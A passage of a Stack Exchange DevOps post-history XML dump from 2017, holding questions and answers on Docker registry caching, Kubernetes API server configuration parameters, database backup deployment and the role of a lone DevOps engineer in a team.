}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/registry/recipes/mirror/#run-a-registry-as-a-pull-through-cache" ContentLicense="CC BY-SA 3.0" />
  <row Id="7854" PostHistoryTypeId="2" PostId="2513" RevisionGUID="338f2df5-32fc-4af6-8f83-b5f8dbbdfebc" CreationDate="2017-11-08T18:25:23.993" UserId="40" Text="The most important thing for DevOps Engineers in this kind of situations, is to get ***Management Commitment*** (and required *budgets*).&#xD;&#xA;&#xD;&#xA;Once that is in place, things become easy for such DevOps engineers. Especially whenever resistance (from all sorts of parties) comes into the game. Trust me, there will be such resistance, which challenges such as:&#xD;&#xA;&#xD;&#xA;- Why do we have to change? I want to keep doing what I did for X years already!&#xD;&#xA;- I do not want to loose the (technical) power I have, and complete all sorts of workflow procedures, to get a silly fix in production that should take me like 5 minutes instead of 5 hours (or days ...).&#xD;&#xA;- ... (I could add another dozen bullets here ...).&#xD;&#xA;&#xD;&#xA;Whenever those challenges come up, all a DevOps engineer should have to say is like:&#xD;&#xA;&#xD;&#xA;&gt; ***I'm sorry, I'm just doing my job ... based on instructions from upper management.***&#xD;&#xA;&#xD;&#xA;And BTW, the best timing to get Management Commitment is after some type of disaster happened where DevOps practices might have prevented them (that's the time where budgets become available right away)." ContentLicense="CC BY-SA 3.0" />
  <row Id="7855" PostHistoryTypeId="5" PostId="2511" RevisionGUID="266aecde-8878-4eaf-b7a2-5e867f97fd67" CreationDate="2017-11-08T18:31:31.930" UserId="5093" Comment="added 150 characters in body" Text="I have a docker registry image running on a local network with the command&#xD;&#xA;&#xD;&#xA;    docker run -d -p 5000:5000 --restart=unless-stopped --name registry -v /mnt/part_sdb/registry:/var/lib/registry registry:2&#xD;&#xA;&#xD;&#xA; but enabling the caching of images stored in Docker Hub requires one to pull the image, and push it in the local registry&#xD;&#xA;&#xD;&#xA;Is there a way to configure the docker registry to do automatic pull-through if the image requested is not available locally?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7856" PostHistoryTypeId="2" PostId="2514" RevisionGUID="27b043a9-5748-48fd-9581-0453fa95ee2d" CreationDate="2017-11-08T20:06:30.467" UserId="4252" Text="My first thought is &quot;why is the he the only person doing ops, on a dev team,  especially when he gets to work with loads of automation?&quot;.  I think there's an opportunity there to address the lone wolf syndrome; particularly in a dev environment, infrastructure-as-code provides a great framework for sharing the load.  Ops people should be experts in determining and defining infrastructure needs for application, but they should also be able to build a platform to let dev roles do as much as they can independently.&#xD;&#xA;&#xD;&#xA;It sounds like a silo within a team; old habits die hard.  A coder may not feel comfortable spinning up and hardening a server, but in a pure devops model, they should have the tools to do so.  An ops person in a devops team shouldn't responsible for delivering infrastructure for the app itself, but they should provide some insight into what is needed and some guidance on how the app developers can do it themselves.  It's almost a meta-infrastructure model; ops engineers build infrastructure that can build infrastructure on demand when requested by the development team.&#xD;&#xA;&#xD;&#xA;Consultation, communication, and blending of responsibilities are all crucial to the success of a devops team.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7857" PostHistoryTypeId="2" PostId="2515" RevisionGUID="6d361b70-2e6c-40e8-96ce-076405773cbb" CreationDate="2017-11-08T20:49:25.023" UserId="2845" Text="The biggest problem with database backups is that you cannot simply snapshot them. You first have to make sure the DB is not mid-transaction when taking a snapshot, otherwise you will restore to an inconsistent state. In the case of windows, you can leverage the [Microsoft SQL VSS writer](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/sql-writer-service) to snapshot your database. You will want to be sure that when you take a snapshot of the VM, HyperV is capable of leveraging this VSS writer.&#xD;&#xA;&#xD;&#xA;If you have a particularly large dataset, it may be better to [leverage your storage filer to use delta-clones](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) if your filer has this feature and it can help to address the size/time issue you are experiencing with backups.&#xD;&#xA;&#xD;&#xA;In terms of deploying the new application to QA there are several ways to do this. One is to have an automated build system such as Jenkins, Travis CI or a similar tool automatically trigger a backup and deployment upon a code commit. This can be done by leveraging a configuration management tool such as SaltStack, Puppet or Chef (which all run on Windows) that can automatically set up and configure a SQL server for you and deploy your application if you are able to script a SQL install with PowerShell. Personally, I would recommend SaltStack as it's [Reactor](https://docs.saltstack.com/en/latest/topics/reactor/) will allow you to broadcast a beacon when your backup/snapshot completes and trigger a build (Puppet lacks this capability).&#xD;&#xA;&#xD;&#xA;One option for spooling up a VM each time is to leverage a system like [The Foreman](https://www.theforeman.org/) which has a [HyperV](https://github.com/ace13/foreman_hyperv) plugin. You could then use SaltStack (vis-à-vis Reactor. This is probably the best way if you backup system blocks until the entire backup is complete, which I doubt) or your automated build system (Jenkins/Travis) interact with [The Foreman's REST API](https://theforeman.org/api/1.15/) to request a host be spun up. Once this comes up, it would automatically check in with your configuration management system to install SQL server and restore the snapshot in the new VM. If you combined this with an automated testing battery, you might even be able to implement a &quot;Push on Green&quot; system to repeat this process into your next environment if all the QA tests pass.&#xD;&#xA;&#xD;&#xA;The advantage to using a piece of middleware like The Foreman is that it will allow you to deploy into any virtualization system or even the cloud and prevent you from being locked into HyperV and make your environment more portable. &#xD;&#xA;&#xD;&#xA;I am sure there are other ways to get there, but this is one way I have used in the past to implement similar deployment workflows." ContentLicense="CC BY-SA 3.0" />
  <row Id="7858" PostHistoryTypeId="2" PostId="2516" RevisionGUID="44e5e8c3-afd7-4e48-9c93-599d59ae9203" CreationDate="2017-11-08T21:30:53.477" UserId="4175" Text="TL;DR: Since upper management is usually fickle and prone to anger, I'd suggest trying to bend his mind a bit to get a different perspective, while changing things for the better, gradually.&#xD;&#xA;&#xD;&#xA;(I am assuming that his trouble is mainly with the reluctant *devs*, not his other *ops* colleagues who seem to do classical operations mainly.)&#xD;&#xA;&#xD;&#xA;IMO, even if you have DevOps going, that does not necessarily mean that every developer needs to be a full fledged DevOps guru. I find it rather normal that there will be one or two real experts in a given group of people, and the rest more or less tag along. As long as the workload is not too big for that guy, and as long as he manages to encapsulate his knowledge in scripts etc. instead of building his own silo, it is fine with me.&#xD;&#xA;&#xD;&#xA;The one thing that should *not* be happening is that the DevOps guy does his automation, and everybody else tries their hardest to avoid said automation (i.e., go past the CI/CD pipeline and do stuff manually in one of the environments). This, IMO is the main thing that has to stop. One solution for that would be to push very hard for the cattle-not-pet approach, i.e. relentlessly tear down VMs or containers left and right as soon you can, and spin up new ones continuously.&#xD;&#xA;&#xD;&#xA;Second, of course everybody needs to be *aware* of what the automation is doing, and at least in theory, with some digging around maybe, be able to start the automation machinery (i.e., if everything runs from a commit/push, then the devs need to be aware and very much up to date with the fact that there will be stuff happening in the background when they commit). The CI(/CD) pipeline needs to be quite visible and should be a thing everybody is constantly aware of (i.e. when a dev breaks it).&#xD;&#xA;&#xD;&#xA;Third, the &quot;one guy&quot; of course has to watch out that he does not do menial, everyday tasks for his colleagues (e.g., creating Dockerfile after Dockerfile for *their* artifacts...).&#xD;&#xA;&#xD;&#xA;Fourthly, the solutions the DevOps guy creates of course have to *actually be superior* to the manual approaches of the past in some measurable way. In that case, it should be possible for him to *demonstrate* his improvements; i.e., demonstrate how things get easier for everybody, or how it seems to be impossible to introduce bugs in the later stages of the pipe etc. If this does not seem possible, then the DevOps guy needs to take a good long hard look at what he is doing. If it is possible, that calls for brownbag sessions and plenty of evangelisation in his team. &#xD;&#xA;&#xD;&#xA;Obviously, in such a reluctant environment, you will probably not be arriving at a wholly automated CD solution, or at trunk based development anytime soon. But I would not worry too much about being singled out. He is the expert, and if he is doing his job well, the whole team will very gradually improve. &#xD;&#xA;&#xD;&#xA;And finally, if after years and years of toiling there is just no visible improvement with his colleagues, it is always possible to look for other avenues (be it inside or outside the company). Having all that DevOps experience under his belt is excellent base for looking for a job, these days..." ContentLicense="CC BY-SA 3.0" />
  <row Id="7859" PostHistoryTypeId="2" PostId="2517" RevisionGUID="75a180d3-49ef-459f-b80a-5ed89969e99e" CreationDate="2017-11-08T22:57:41.773" UserId="5013" Text="## Questions&#xD;&#xA;&#xD;&#xA;Where is the explanations or documentations of the Kuberenetes API Server configuration parameters?&#xD;&#xA;&#xD;&#xA;## Background&#xD;&#xA;&#xD;&#xA;There are parameters to configure for Kuberenetes API server e.g. KUBE_API_ADDRESS (which seems needs to be changed from 127.0.0.1) for multi node cluster to work.&#xD;&#xA;&#xD;&#xA;Looking for a definite configuration documentation of how to configure API server but so far could not find one. &#xD;&#xA;&#xD;&#xA;[Setup CentOS (Kubernetes.io)][1] says below.&#xD;&#xA;&#xD;&#xA;    # The address on the local server to listen to.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--address=0.0.0.0&quot;&#xD;&#xA;&#xD;&#xA;[Kubernetes GitHub][2] says below.&#xD;&#xA;&#xD;&#xA;    # --insecure-bind-address=127.0.0.1: The IP address on which to serve the --insecure-port.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=0.0.0.0&quot;&#xD;&#xA;&#xD;&#xA;[Connecting to Kubernetes API server from outside of Vagrant box #250][3] says below.&#xD;&#xA;&#xD;&#xA;&gt; By default kube-apiserver listens only on 127.0.0.1.&#xD;&#xA;Without reconfiguring it it is not possible to connect to Kubernetes using kubectl from another machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/getting-started-guides/centos/centos_manual_config/&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/cluster/centos/master/scripts/apiserver.sh&#xD;&#xA;  [3]: https://github.com/projectatomic/adb-atomic-developer-bundle/issues/250&#xD;&#xA;&#xD;&#xA;Kubernetes 1.7 /etc/kubernetes/apiserver is below.&#xD;&#xA;&#xD;&#xA;    ###&#xD;&#xA;    # kubernetes system config&#xD;&#xA;    #&#xD;&#xA;    # The following values are used to configure the kube-apiserver&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # The address on the local server to listen to.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=127.0.0.1&quot;&#xD;&#xA;    &#xD;&#xA;    # The port on the local server to listen on.&#xD;&#xA;    # KUBE_API_PORT=&quot;--port=8080&quot;&#xD;&#xA;    &#xD;&#xA;    # Port minions listen on&#xD;&#xA;    # KUBELET_PORT=&quot;--kubelet-port=10250&quot;&#xD;&#xA;    &#xD;&#xA;    # Comma separated list of nodes in the etcd cluster&#xD;&#xA;    KUBE_ETCD_SERVERS=&quot;--etcd-servers=http://127.0.0.1:2379&quot;&#xD;&#xA;    &#xD;&#xA;    # Address range to use for services&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;    &#xD;&#xA;    # default admission control policies&#xD;&#xA;    KUBE_ADMISSION_CONTROL=&quot;--admission-control=NamespaceLifecycle,NamespaceExists,LimitRanger,SecurityContextDeny,ServiceAccount,ResourceQuota&quot;&#xD;&#xA;    &#xD;&#xA;    # Add your own!&#xD;&#xA;    KUBE_API_ARGS=&quot;&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7860" PostHistoryTypeId="1" PostId="2517" RevisionGUID="75a180d3-49ef-459f-b80a-5ed89969e99e" CreationDate="2017-11-08T22:57:41.773" UserId="5013" Text="Where is the documentation of Kubernetes API server configurations?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7861" PostHistoryTypeId="3" PostId="2517" RevisionGUID="75a180d3-49ef-459f-b80a-5ed89969e99e" CreationDate="2017-11-08T22:57:41.773" UserId="5013" Text="&lt;kubernetes&gt;&lt;documentation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7862" PostHistoryTypeId="2" PostId="2518" RevisionGUID="bf5368c6-6f9a-48c2-a0d1-5b7d8d8fca96" CreationDate="2017-11-08T23:41:54.187" UserId="5013" Text="# Question &#xD;&#xA;&#xD;&#xA;Where is the Kubernetes documentation regarding KUBE_SERVICE_ADDRESSES parameter of API server and Pod network configuration?&#xD;&#xA;&#xD;&#xA;## Background&#xD;&#xA;&#xD;&#xA;KUBE_SERVICE_ADDRESSES parameter value needs to go hand-in-hand with CIDR configuration of the Pod network, because `KUBE_SERVICE_ADDRESSES` is&#xD;&#xA;&quot;Address range to use for services&quot; and I suppose `services` communicate in the Pod network.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Trying to find out a Kubernetes document which explains it but looks no specific documentation. Please suggest if this is true and where is the documentation related.&#xD;&#xA;&#xD;&#xA;**/etc/kubernetes/apiserver**&#xD;&#xA;&#xD;&#xA;    # The address on the local server to listen to.&#xD;&#xA;    #KUBE_API_ADDRESS=&quot;--insecure-bind-address=127.0.0.1&quot;&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=0.0.0.0&quot;&#xD;&#xA;    &#xD;&#xA;    # The port on the local server to listen on.&#xD;&#xA;    # KUBE_API_PORT=&quot;--port=8080&quot;&#xD;&#xA;    &#xD;&#xA;    # Port minions listen on&#xD;&#xA;    # KUBELET_PORT=&quot;--kubelet-port=10250&quot;&#xD;&#xA;    &#xD;&#xA;    # Comma separated list of nodes in the etcd cluster&#xD;&#xA;    KUBE_ETCD_SERVERS=&quot;--etcd-servers=http://127.0.0.1:2379&quot;&#xD;&#xA;    &#xD;&#xA;    # Address range to use for services&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;    &#xD;&#xA;    # default admission control policies&#xD;&#xA;    KUBE_ADMISSION_CONTROL=&quot;--admission-control=NamespaceLifecycle,NamespaceExists,LimitRanger,SecurityContextDeny,ServiceAccount,ResourceQuota&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Related sites&#xD;&#xA;&#xD;&#xA;[Using kubeadm to Create a Cluster (3/4) Installing a pod network][1] says specific CIDR needs to be specified to `kubeadm init` as a option `--pod-network-cidr`. &#xD;&#xA;&#xD;&#xA;[Deploy a Multi-node Kubernetes Cluster on CentOS 7][2]:&#xD;&#xA;&#xD;&#xA;&gt; Create a flannel-config.json file that will define the Flannel settings. The subnet specified in the Flannel settings should match that of the API server KUBE_SERVICE_ADDRESSES value. This is the subnet that the containers will use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/#pod-network&#xD;&#xA;  [2]: https://devops.profitbricks.com/tutorials/deploy-a-multi-node-kubernetes-cluster-on-centos-7/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7863" PostHistoryTypeId="1" PostId="2518" RevisionGUID="bf5368c6-6f9a-48c2-a0d1-5b7d8d8fca96" CreationDate="2017-11-08T23:41:54.187" UserId="5013" Text="Kubernetes API Server KUBE_SERVICE_ADDRESSES parameter and Pod Network configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="7864" PostHistoryTypeId="3" PostId="2518" RevisionGUID="bf5368c6-6f9a-48c2-a0d1-5b7d8d8fca96" CreationDate="2017-11-08T23:41:54.187" UserId="5013" Text="&lt;kubernetes&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7865" PostHistoryTypeId="5" PostId="2511" RevisionGUID="e33fc2ec-5e96-49e2-8bd2-b33b09c612db" CreationDate="2017-11-09T01:14:22.620" UserId="5093" Comment="added 620 characters in body" Text="I have a docker registry image running on a local network with the command&#xD;&#xA;&#xD;&#xA;    docker run -d -p 5000:5000 --restart=unless-stopped --name registry -v /mnt/part_sdb/registry:/var/lib/registry registry:2&#xD;&#xA;&#xD;&#xA; but enabling the caching of images stored in Docker Hub requires one to pull the image, and push it in the local registry&#xD;&#xA;&#xD;&#xA;Is there a way to configure the docker registry to do automatic pull-through if the image requested is not available locally **while preserving the ability to push local images**?&#xD;&#xA;&#xD;&#xA;from [this article][1]:&#xD;&#xA;&#xD;&#xA;&gt; The catch is that you will probably run the public Registry as a&#xD;&#xA;&gt; mirror *or* as a regular registry, so you will probably end up running&#xD;&#xA;&gt; two containers — one as a mirror, another as your local Registry (not&#xD;&#xA;&gt; a big deal). In artifactory you can set up as many registries as you&#xD;&#xA;&gt; want (local or remote), each with its own URL. Or you can “mix” them&#xD;&#xA;&gt; on a single URL with a virtual registry (if you think it is a good&#xD;&#xA;&gt; idea).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@andrenit/docker-and-artifactory-as-a-registry-mirror-1365891b39c5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7866" PostHistoryTypeId="50" PostId="1937" RevisionGUID="c999d818-93f9-455b-916c-eaede188850a" CreationDate="2017-11-09T02:52:28.023" UserId="-1" />
  <row Id="7867" PostHistoryTypeId="2" PostId="2519" RevisionGUID="98b5efbd-0f0a-4419-8771-fdff298b77c6" CreationDate="2017-11-09T03:10:23.247" UserId="5013" Text="# Question &#xD;&#xA;&#xD;&#xA;What are the strings to set to KUBE_SERVICE_ADDRESSES and their meanings? Which documentation or GitHub repo to look into to understand?&#xD;&#xA;&#xD;&#xA;# Background&#xD;&#xA;I have seen a few strings but not sure what these strings mean.&#xD;&#xA;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--portal_net=10.254.0.0/16&quot;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7868" PostHistoryTypeId="1" PostId="2519" RevisionGUID="98b5efbd-0f0a-4419-8771-fdff298b77c6" CreationDate="2017-11-09T03:10:23.247" UserId="5013" Text="Kubernetes: String to specify to KUBE_SERVICE_ADDRESSES (API Server configuration)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7869" PostHistoryTypeId="3" PostId="2519" RevisionGUID="98b5efbd-0f0a-4419-8771-fdff298b77c6" CreationDate="2017-11-09T03:10:23.247" UserId="5013" Text="&lt;kubernetes&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7870" PostHistoryTypeId="5" PostId="2517" RevisionGUID="eedec3e3-1dee-47c4-9615-aab75d7ab728" CreationDate="2017-11-09T03:57:03.620" UserId="47" Comment="fixed typos" Text="## Questions&#xD;&#xA;&#xD;&#xA;Where is the explanations or documentations of the Kubernetes API Server configuration parameters?&#xD;&#xA;&#xD;&#xA;## Background&#xD;&#xA;&#xD;&#xA;There are parameters to configure for Kubernetes API server e.g. KUBE_API_ADDRESS (which seems needs to be changed from 127.0.0.1) for multi node cluster to work.&#xD;&#xA;&#xD;&#xA;Looking for a definite configuration documentation of how to configure API server but so far could not find one. &#xD;&#xA;&#xD;&#xA;[Setup CentOS (Kubernetes.io)][1] says below.&#xD;&#xA;&#xD;&#xA;    # The address on the local server to listen to.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--address=0.0.0.0&quot;&#xD;&#xA;&#xD;&#xA;[Kubernetes GitHub][2] says below.&#xD;&#xA;&#xD;&#xA;    # --insecure-bind-address=127.0.0.1: The IP address on which to serve the --insecure-port.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=0.0.0.0&quot;&#xD;&#xA;&#xD;&#xA;[Connecting to Kubernetes API server from outside of Vagrant box #250][3] says below.&#xD;&#xA;&#xD;&#xA;&gt; By default kube-apiserver listens only on 127.0.0.1.&#xD;&#xA;Without reconfiguring it it is not possible to connect to Kubernetes using kubectl from another machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/getting-started-guides/centos/centos_manual_config/&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/cluster/centos/master/scripts/apiserver.sh&#xD;&#xA;  [3]: https://github.com/projectatomic/adb-atomic-developer-bundle/issues/250&#xD;&#xA;&#xD;&#xA;Kubernetes 1.7 /etc/kubernetes/apiserver is below.&#xD;&#xA;&#xD;&#xA;    ###&#xD;&#xA;    # kubernetes system config&#xD;&#xA;    #&#xD;&#xA;    # The following values are used to configure the kube-apiserver&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # The address on the local server to listen to.&#xD;&#xA;    KUBE_API_ADDRESS=&quot;--insecure-bind-address=127.0.0.1&quot;&#xD;&#xA;    &#xD;&#xA;    # The port on the local server to listen on.&#xD;&#xA;    # KUBE_API_PORT=&quot;--port=8080&quot;&#xD;&#xA;    &#xD;&#xA;    # Port minions listen on&#xD;&#xA;    # KUBELET_PORT=&quot;--kubelet-port=10250&quot;&#xD;&#xA;    &#xD;&#xA;    # Comma separated list of nodes in the etcd cluster&#xD;&#xA;    KUBE_ETCD_SERVERS=&quot;--etcd-servers=http://127.0.0.1:2379&quot;&#xD;&#xA;    &#xD;&#xA;    # Address range to use for services&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;    &#xD;&#xA;    # default admission control policies&#xD;&#xA;    KUBE_ADMISSION_CONTROL=&quot;--admission-control=NamespaceLifecycle,NamespaceExists,LimitRanger,SecurityContextDeny,ServiceAccount,ResourceQuota&quot;&#xD;&#xA;    &#xD;&#xA;    # Add your own!&#xD;&#xA;    KUBE_API_ARGS=&quot;&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7871" PostHistoryTypeId="50" PostId="1955" RevisionGUID="0a439dbe-ac31-4578-b802-4e7bdeb602c5" CreationDate="2017-11-09T04:52:37.393" UserId="-1" />
  <row Id="7872" PostHistoryTypeId="2" PostId="2520" RevisionGUID="9c1a42ff-2a4a-4a5a-8209-b586cf54bbba" CreationDate="2017-11-09T07:38:52.710" UserId="707" Text="For some unknown reason, the manager host which gets the command to launch a stack, tries to pile up all the containers on itself; other worker/manager hosts stay unemploed.&#xD;&#xA;&#xD;&#xA;Unfortunately there are no log entries for that.&#xD;&#xA;&#xD;&#xA;Has anybody observed this behaviour already with Docker CE as well?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7873" PostHistoryTypeId="1" PostId="2520" RevisionGUID="9c1a42ff-2a4a-4a5a-8209-b586cf54bbba" CreationDate="2017-11-09T07:38:52.710" UserId="707" Text="Strange orchestration behaviour of a Docker Swarm manager - pile of containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="7874" PostHistoryTypeId="3" PostId="2520" RevisionGUID="9c1a42ff-2a4a-4a5a-8209-b586cf54bbba" CreationDate="2017-11-09T07:38:52.710" UserId="707" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7881" PostHistoryTypeId="5" PostId="2513" RevisionGUID="5662e019-648d-4ff9-ac93-b160dc06a5c6" CreationDate="2017-11-09T13:43:26.757" UserId="40" Comment="added 2799 characters in body" Text="The most important thing for DevOps Engineers in this kind of situations, is to get (a) ***Management Commitment*** and (b) ***Required Budgets***. Read on for some more details on both ...&#xD;&#xA;&#xD;&#xA;# Get Management Commitment&#xD;&#xA;&#xD;&#xA;Once that is in place, things become easy for such DevOps engineers. Especially whenever resistance (from all sorts of parties) comes into the game. Trust me, there will be such resistance, which challenges such as:&#xD;&#xA;&#xD;&#xA;- Why do we have to change? I want to keep doing what I did for X years already!&#xD;&#xA;- I do not want to loose the (technical) power I have, and complete all sorts of workflow procedures, to get a silly fix in production that should take me like 5 minutes instead of 5 hours (or days ...).&#xD;&#xA;- ... (I could add another dozen bullets here ...).&#xD;&#xA;&#xD;&#xA;Whenever those challenges come up, all a DevOps engineer should have to say is like:&#xD;&#xA;&#xD;&#xA;&gt; ***I'm sorry, I'm just doing my job ... based on instructions from upper management.***&#xD;&#xA;&#xD;&#xA;# Get Required Budgets&#xD;&#xA;&#xD;&#xA;An effective way to get Required Budgets, is to create/submit an appropriate business case which explains the tangible and intangible benefits of various DevOps practises by applying them to some real world cases that apply to the company itself. &#xD;&#xA;&#xD;&#xA;Below are some real world cases I experienced myself, as an SCM consultant hired by some companies where these things had happened. I know, SCM is only part of DevOps, but it's the area where I have *some* expertise ...&#xD;&#xA;&#xD;&#xA;### 1. Benefits of automation&#xD;&#xA;&#xD;&#xA;Due to some strike from only 2 (!!!) computer operators (who did not type the console commands anymore that they where expected to type), trains had to be halted somewhere half the way between 2 factories (since the system at the factory where the train was heading to was down, crucial data about handling the train was not available).&#xD;&#xA;&#xD;&#xA;By implementing an SCM system, many operator commands were automated.&#xD;&#xA;&#xD;&#xA;### 2. Reduce software license costs&#xD;&#xA;&#xD;&#xA;Some software vendor had decided to increase some yearly fees for the (outdated) SCM software, which management didn't agree to. Therefor they created a special project to get it replaced by some alternative SCM software. &#xD;&#xA;&#xD;&#xA;The budget of the project was equal to the yearly fee they didn't want to keep paying. That included flying in engineers from other continents (like me) to make the project succeed.&#xD;&#xA;&#xD;&#xA;### 3. Reduce operating costs&#xD;&#xA;&#xD;&#xA;Some major insurance company was using some FTP software to transfer software fixes to about 13.000 midrange computers (AS/400s) throughout the country, and this whenever &quot;a&quot; fix became available. The cost of 1 such transfer was about 4 USD (13.000 x 4 = 52.000 USD for a single transfer ...). The software consisted of 120.000 components, developed/maintained by about 150 developers. Do the math about the probability that 1 developer made 1 (tiny) mistake in any of these 120.000 components, which made it to production, and required an urgent fix, which would cost another 52.000 USD (just for the transfer!).&#xD;&#xA;&#xD;&#xA;By implementing an adequate SCM system (with managed test environments, approvals, etc), this company achieved a major cost reduction. Think about it, if the SCM system could prevent the need for only 20 transfers of urgent fixes, it resulted in a cost reduction of 52.000 x 20 = 1.040.000 USD (quite a budget to implement an SCM system, they only needed a fraction of that amount to get the job done).&#xD;&#xA;&#xD;&#xA;### 4. Reduce costs of unavailability&#xD;&#xA;&#xD;&#xA;If the above cases are not convincing enough, then think of the system(s) of a major credit card company being unavailable around the world. I've been told that 1 second of unavailability costs them 1.000.000 USD.&#xD;&#xA;&#xD;&#xA;That's probably also the reason why, for a very long time, such companies have sophisticated DevOps tools in place, for many decades already. Because each second they are not in business costs them a fortune." ContentLicense="CC BY-SA 3.0" />
  <row Id="7882" PostHistoryTypeId="5" PostId="2510" RevisionGUID="c2dfcca4-5de9-43c2-a395-884c0f9e7e6a" CreationDate="2017-11-09T14:02:26.463" UserId="40" Comment="added 3 characters in body; edited title" Text="I have just been speaking to a DevOps guy who raised some really good points about the struggles of being a DevOps Engineer and feeling like a one-man army sometimes, even though he is in a team of 16 Engineers.&#xD;&#xA;&#xD;&#xA;He wears lots of different hats, but sits in the Development team doing infrastructure work. He loves the cool tech that he gets to work with- loads of automation, cloud, containerization etc. But he struggles that he is the only person doing `ops`, in a `dev` team. He reports to the Development Manager, but works more closely with the Infrastructure Manager. &#xD;&#xA;&#xD;&#xA;This seems to be the case with lots of DevOps professionals I speak to. What could be done to help DevOps Engineers feel less like a lone wolf?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7883" PostHistoryTypeId="4" PostId="2510" RevisionGUID="c2dfcca4-5de9-43c2-a395-884c0f9e7e6a" CreationDate="2017-11-09T14:02:26.463" UserId="40" Comment="added 3 characters in body; edited title" Text="How to help DevOps Engineers feel less like a lone wolf?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7884" PostHistoryTypeId="2" PostId="2522" RevisionGUID="6425d5cf-9faf-4b90-8343-b46c43cdfd9e" CreationDate="2017-11-09T14:14:13.477" UserId="13" Text="I think the first flaw is in this sentence:&#xD;&#xA;&#xD;&#xA;&gt; He reports to the Development Manager, but works more closely with the&#xD;&#xA;&gt; Infrastructure Manager.&#xD;&#xA;&#xD;&#xA;Devops is a culture aiming at removing silos, if there's actual silos then he's whatever you want to name him, an engineer doing operational development, an automation expert, a developer automating infrastructure, but that's not a DevOps engineer.  &#xD;&#xA;In fact, Devops Engineer is not a real role, it's more a 'chapeau' as it can encompass developer, sysadmins, testers or architect working in a common team.&#xD;&#xA;&#xD;&#xA;The main problem I see behind it is people falling in the buzzword usage of DevOps as a job title, by doing so they usually blame being alone in their field.  &#xD;&#xA;As you put it he's the only one doing ops in a dev team, that's not he's a DevOps engineer (whatever that could mean for his case), that's he's working in isolation because the job is presented as DevOps something or plain operational thing the other people in his team doesn't wish to work on.&#xD;&#xA;&#xD;&#xA;Let's be honest, there will always be ops and dev, the main idea behind devops is sharing the responsibilities as such that there's no hand over of a product from dev to ops or just supply of platforms from ops to dev. The primary goal is bringing more collaboration in a team, starting to name self Devops Engineer is breaking this idea by putting in the name you can do both at the same level of expertise which is rarely true.&#xD;&#xA;&#xD;&#xA;The first thing to do in my opinion would be to present the tools to the team, give everyone a basic knowledge on the tools and transfer the responsibility to configure/code the tools to the whole team.  &#xD;&#xA;The main idea behind this is moving from &quot;the one doing the things&quot; to &quot;the one which support and give references implementations&quot;.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7885" PostHistoryTypeId="5" PostId="2522" RevisionGUID="6190e84e-428f-4a6c-9fea-26299174fb2d" CreationDate="2017-11-09T14:19:29.390" UserId="13" Comment="added 122 characters in body" Text="I think the first flaw is in this sentence:&#xD;&#xA;&#xD;&#xA;&gt; He reports to the Development Manager, but works more closely with the&#xD;&#xA;&gt; Infrastructure Manager.&#xD;&#xA;&#xD;&#xA;Devops is a culture aiming at removing silos, if there's actual silos then he's whatever you want to name him, an engineer doing operational development, an automation expert, a developer automating infrastructure, but that's not a DevOps engineer.  &#xD;&#xA;In fact, [Devops Engineer is not a real role][1], it's more a 'chapeau' as it can encompass developer, sysadmins, testers or architect working in a common team.&#xD;&#xA;&#xD;&#xA;The main problem I see behind it is people falling in the buzzword usage of DevOps as a job title, by doing so they usually blame being alone in their field.  &#xD;&#xA;As you put it he's the only one doing ops in a dev team, that's not he's a DevOps engineer (whatever that could 